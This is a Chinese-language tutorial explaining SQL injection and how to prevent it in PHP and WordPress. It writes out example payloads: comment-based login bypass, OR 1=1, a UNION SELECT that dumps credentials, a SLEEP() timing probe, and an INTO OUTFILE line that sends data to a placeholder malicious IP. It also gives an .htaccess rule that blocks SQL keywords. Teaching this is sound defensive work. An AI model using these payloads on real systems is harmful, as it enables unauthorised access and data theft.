SQL(結構化查詢語言)是一種允許我們與資料庫互動的語言。現代Web應用程式使用資料庫來管理資料並向讀者顯示動態內容。
SQL隱碼攻擊或SQLi是一種對Web應用程式的攻擊,通過惡意SQL語句破壞其資料庫。
由於這是一種常見的攻擊,讓我們嘗試更多地瞭解它是什麼,它是如何發生的,以及如何保護自己免受它的侵害。
什麼是SQL隱碼攻擊?
SQL隱碼攻擊或SQLi是對Web應用程式的一種攻擊,它使攻擊者能夠將惡意SQL語句插入到Web應用程式中,從而可能獲得對資料庫中敏感資料的訪問權或破壞這些資料。SQL隱碼攻擊首先由Jeff Forristal於1998年發現。
自發現以來的二十年裡,SQL 注入一直是Web開發人員在設計應用程式時的重中之重。
Barclaycard在2012年估計,97%的資料洩露是由SQL隱碼攻擊引發的。即使在今天,SQL隱碼攻擊也很普遍,並且Web應用程式中注入攻擊的嚴重性已得到廣泛認可。它是OWASP十大最關鍵的 Web 應用程式安全風險之一。
SQL隱碼攻擊漏洞是如何工作的?
SQL隱碼攻擊漏洞使攻擊者可以通過使用惡意SQL語句完全訪問您的應用程式的資料庫。
在本節中,我們將分享一個易受攻擊的應用程式的示例。
想象一下典型Web應用程式的工作流程,其中涉及通過使用者輸入的資料庫請求。您通過表單獲取使用者輸入,例如登入表單。然後,您使用使用者提交的欄位查詢您的資料庫以對其進行身份驗證。對資料庫的查詢結構如下所示:
select * from user_table where username = 'sdaityari' and password = 'mypassword';
為簡單起見,假設您將密碼儲存為明文。但是,對salt your passwords然後對其進行雜湊處理是一種很好的做法。繼續前進,如果您從表單中收到使用者名稱和密碼,您可以在PHP中定義查詢,如下所示:
// Connect to SQL database $db_query = "select * from user_table where username = '".$user."' AND password = '".$password."';"; // Execute query
如果有人在使用者名稱欄位中輸入值“admin’;–”,則變數 $db_query 生成的SQL查詢將如下所示:
select * from user_table where username = 'admin';--' and password = 'mypassword'
這個查詢有什麼作用?
SQL中的註釋以雙破折號 (–) 開頭。結果查詢僅按使用者名稱過濾,不考慮密碼。如果沒有適當的安全措施來避免這種情況,您只需使用此技巧即可獲得對Web應用程式的管理訪問許可權。
或者,在此示例中也可以使用布林攻擊來獲取訪問許可權。如果攻擊者在密碼欄位中輸入“password”或 1=1;–”,則查詢結果如下:
select * from user_table where username = 'admin' and password = 'password' or 1=1;--';
在這種情況下,即使您的密碼錯誤,您也將通過身份驗證進入應用程式。如果您的網頁顯示資料庫查詢的結果,攻擊者可以使用命令show tables,命令顯示資料庫中的表,然後根據需要選擇性地刪除表。
SQL隱碼攻擊漫畫(圖片來源:XKCD)
XKCD的流行漫畫《媽媽的剝削》展示了一位母親與她兒子所在學校的對話,她被問到她是否真的給兒子取名為“羅伯特”);放表學生;——”。
SQL隱碼攻擊的型別
現在您已經瞭解了SQL隱碼攻擊漏洞的基礎知識,讓我們來探索各種型別的SQL隱碼攻擊以及每種攻擊背後的原因。
帶內SQL隱碼攻擊
帶內SQL隱碼攻擊(In-Band SQL Injection)是最簡單的SQL隱碼攻擊形式。在這個過程中,攻擊者能夠使用同一通道將惡意SQL程式碼插入應用程式並收集結果。我們將討論兩種形式的帶內SQL隱碼攻擊:
基於錯誤的攻擊
攻擊者在攻擊的初始階段使用基於錯誤的SQL隱碼攻擊技術。基於錯誤的SQL隱碼攻擊背後的想法是獲取有關Web應用程式遵循的資料庫結構和表名的更多資訊。例如,錯誤訊息可能包含查詢中包含的表名和表的列名。然後可以使用此資料來建立新的攻擊。
基於聯合的攻擊
在這種方法中,攻擊者使用SQL聯合連線來顯示來自不同表的結果。例如,如果攻擊者在搜尋頁面上,他們可能會附加來自另一個表的結果。
select title, link from post_table where id < 10 union select username, password from user_table; --;
推理SQL隱碼攻擊(SQL盲注)
即使攻擊者在SQL查詢中產生錯誤,查詢的響應也可能不會直接傳輸到網頁。在這種情況下,攻擊者需要進一步探測。
在這種形式的SQL隱碼攻擊中,攻擊者向資料庫傳送各種查詢,以評估應用程式如何分析這些響應。推理SQL隱碼攻擊有時也稱為盲SQL隱碼攻擊(Blind SQL Injection)。我們將在下面檢視兩種推理SQL隱碼攻擊:布林SQL隱碼攻擊和基於時間的SQL隱碼攻擊。
布林攻擊
如果SQL查詢導致應用程式內部未處理的錯誤,則生成的網頁可能會引發錯誤、載入空白頁面或部分載入。在布林SQL隱碼攻擊中,攻擊者通過輸入嘗試兩個不同版本的布林子句來評估使用者輸入的哪些部分易受SQL隱碼攻擊:
- “… and 1=1”
- “… and 1=2”
如果應用程式在第一種情況下正常工作,但在第二種情況下顯示異常,則表明該應用程式容易受到SQL隱碼攻擊。
基於時間的攻擊
基於時間的SQL隱碼攻擊還可以幫助攻擊者確定Web應用程式中是否存在漏洞。攻擊者利用應用程式使用的資料庫管理系統的預定義的基於時間的功能。例如,在MySQL中,函式sleep()指示資料庫等待一定的秒數。
select * from comments WHERE post_id=1-SLEEP(15);
如果這樣的查詢導致延遲,攻擊者就會知道它是易受攻擊的。
帶外SQL隱碼攻擊
如果攻擊者無法通過同一渠道收集SQL隱碼攻擊的結果。帶外SQL隱碼攻擊(Out-of-Band SQL Injection)技術可以用作推SQL隱碼攻擊技術的替代方法。
通常,這些技術涉及將資料從資料庫傳送到攻擊者選擇的惡意位置。這個過程也高度依賴於資料庫管理系統的能力。
帶外SQL隱碼攻擊使用DBMS的外部檔案處理能力。在MySQL中,可以使用LOAD_FILE()和INTO OUTFILE函式來請求MySQL將資料傳輸到外部源。以下是攻擊者如何使用OUTFILE將查詢結果傳送到外部源:
select * from post_table into OUTFILE '\\\\MALICIOUS_IP_ADDRESS\location'
同樣,可以使用LOAD_FILE()函式從伺服器讀取檔案並顯示其內容。LOAD_FILE()和OUTFILE的組合可用於讀取伺服器上檔案的內容,然後將其傳輸到不同的位置。
如何防止SQL隱碼攻擊
到目前為止,我們已經探索了Web應用程式中可能導致SQL隱碼攻擊的漏洞。攻擊者可以使用SQL隱碼攻擊漏洞來讀取、修改甚至刪除資料庫的內容。
此外,它還可以使人們能夠讀取伺服器內任何位置的檔案並將內容傳輸到其他地方。在本節中,我們將探索各種技術來保護您的Web應用程式和網站免受SQL隱碼攻擊。
轉義使用者輸入
一般來說,判斷使用者字串是否惡意是一項艱鉅的任務。因此,最好的方法是在使用者輸入中轉義特殊字元。
此過程使您免受SQL隱碼攻擊。您可以在PHP中使用mysql_escape_string() function
. 您還可以使用該mysqli_real_escape_string()
函式在MySQL中轉義字串。
在將輸出顯示為HTML時,您還需要轉換字串以確保特殊字元不會干擾HTML標記。您可以使用函式轉換PHP中的特殊字元htmlspecialchars()
。
使用準備好的語句
或者,您可以使用準備好的語句來避免SQL隱碼攻擊。準備好的語句是SQL查詢的模板,您可以在稍後階段指定引數來執行它。這是PHP和MySQLi中的準備語句示例。
$query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?"); $query->execute(array($username, $password));
防止SQL攻擊的其他安全檢查
減輕此漏洞的下一步是將對資料庫的訪問限制在必要的範圍內。
例如,使用特定使用者將您的Web應用程式連線到DBMS,該使用者只能訪問相關資料庫。
限制資料庫使用者對伺服器所有其他位置的訪問。您可能還希望通過Web伺服器阻止URL中的某些SQL關鍵字。如果您將Apache用作Web伺服器,則可以在.htaccess檔案中使用以下程式碼行向潛在的攻擊者顯示403 Forbidden錯誤。
在使用此技術之前您應該小心,因為如果URL包含這些關鍵字,Apache將向讀者顯示錯誤。
RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC] RewriteRule (.*) - [F]
作為額外的預防提示,您應該始終使用更新的軟體。釋出新版本或補丁時,更新中修復的錯誤會在釋出說明中詳細說明。一旦漏洞的詳細資訊公之於眾,執行任何軟體的舊版本都可能存在風險。
WordPress中的SQL隱碼攻擊
如果您使用的是最新的WordPress核心檔案,則可以避免任何SQL隱碼攻擊漏洞。但是,當您使用第三方主題和外掛時,您的整個應用程式都會面臨風險。
您的WordPress網站的強大程度取決於其最薄弱的連結。在本節中,我們將探討緩解WordPress中的SQL隱碼攻擊漏洞的關鍵注意事項,以及如何在現有WordPress站點上執行漏洞檢查。
WordPress的SQL隱碼攻擊漏洞預防
為了減輕WordPress主題或外掛中的SQL隱碼攻擊漏洞,您必須遵循的一條規則是在與資料庫互動時始終使用現有的WordPress函式。
這些函式在WordPress開發過程中針對SQL隱碼攻擊漏洞進行了全面測試。例如,如果您想在帖子中新增評論,請使用wp_insert_comment() 函式,而不是將資料直接插入到wp_comments表中。
雖然函式是可擴充套件的,但您有時可能需要執行復雜的查詢。在這種情況下,請確保使用$wp_db 函式組。您可以在建立查詢之前使用 $wpdb->prepare() 轉義使用者輸入。
此外,這裡是在WordPress中清理資料的函式列表。這些可以幫助您轉義特定型別的使用者輸入,例如電子郵件和URL。
保護您的WordPress網站
雖然WordPress本身是安全的,但過時的核心軟體和無效外掛等問題可能會導致漏洞。雖然除了徹底檢查WordPress網站是否存在SQL隱碼攻擊漏洞之外別無選擇,但網站的複雜性可能使這項任務具有挑戰性。
您可以使用線上掃描工具,例如ThreatPass和WPScan Vulnerability Database。您可以稽覈您的外掛以檢視它們的開發是否已停止。如果它們不久前被放棄,那麼在您的網站上使用它們可能不是一個好主意。
如果您仍然需要絕對使用它們,請確保徹底測試它們的程式碼和功能是否存在漏洞。除此之外,請確保您遵循以下安全檢查:
- 更新PHP、WordPress核心和MySQL
- 更新第三方外掛和主題
- 避免使用root使用者連線SQL資料庫
- 限制SQL使用者對敏感目錄的訪問
- 使用您的伺服器阻止SQL關鍵字
- 將您的站點備份儲存在異地,以防發生不可逆轉的損壞
這是有關WordPress安全性的詳細文章和詳盡的檢查列表。此外,您可能希望為WordPress投資這些頂級安全外掛。儘管您盡了最大努力,但如果您的WordPress網站被黑客入侵,您應該採取以下措施。
SQL隱碼攻擊是非法的嗎?
絕對,是的!即使存在實際漏洞,攻擊者仍在嘗試訪問他們無法訪問的資料。
想象一下有人把鑰匙留在車裡的場景。僅僅因為它被開啟和無人看管就構成犯罪嗎?SQLi的行為受不同國家/地區的不同法律管轄。它屬於美國的《計算機欺詐和濫用法》(1986 年)和英國的《計算機濫用法》(1990 年)。
97%的資料洩露始於SQL隱碼攻擊。如果您正在執行一個站點,您應該知道什麼是SQL隱碼攻擊以及如何防止它們發生。幸運的是,有這個指南!
小結
SQL隱碼攻擊漏洞很久以前就被發現了。然而,一份2018年關於被黑網站的報告表明,SQLi是WordPress在XSS攻擊之後最常見的網站黑客行為。為防止它們發生,您應該:
- 瞭解SQL隱碼攻擊漏洞的工作原理
- 探索攻擊者可能使用SQLi未經授權訪問您的Web應用程式的各種方式
- 實施保護您的網站免受SQLi攻擊的方法,例如轉義使用者輸入和使用準備好的語句
- 遵循安全檢查程式
俗話說,“寧可安全,也不要後悔!”
評論留言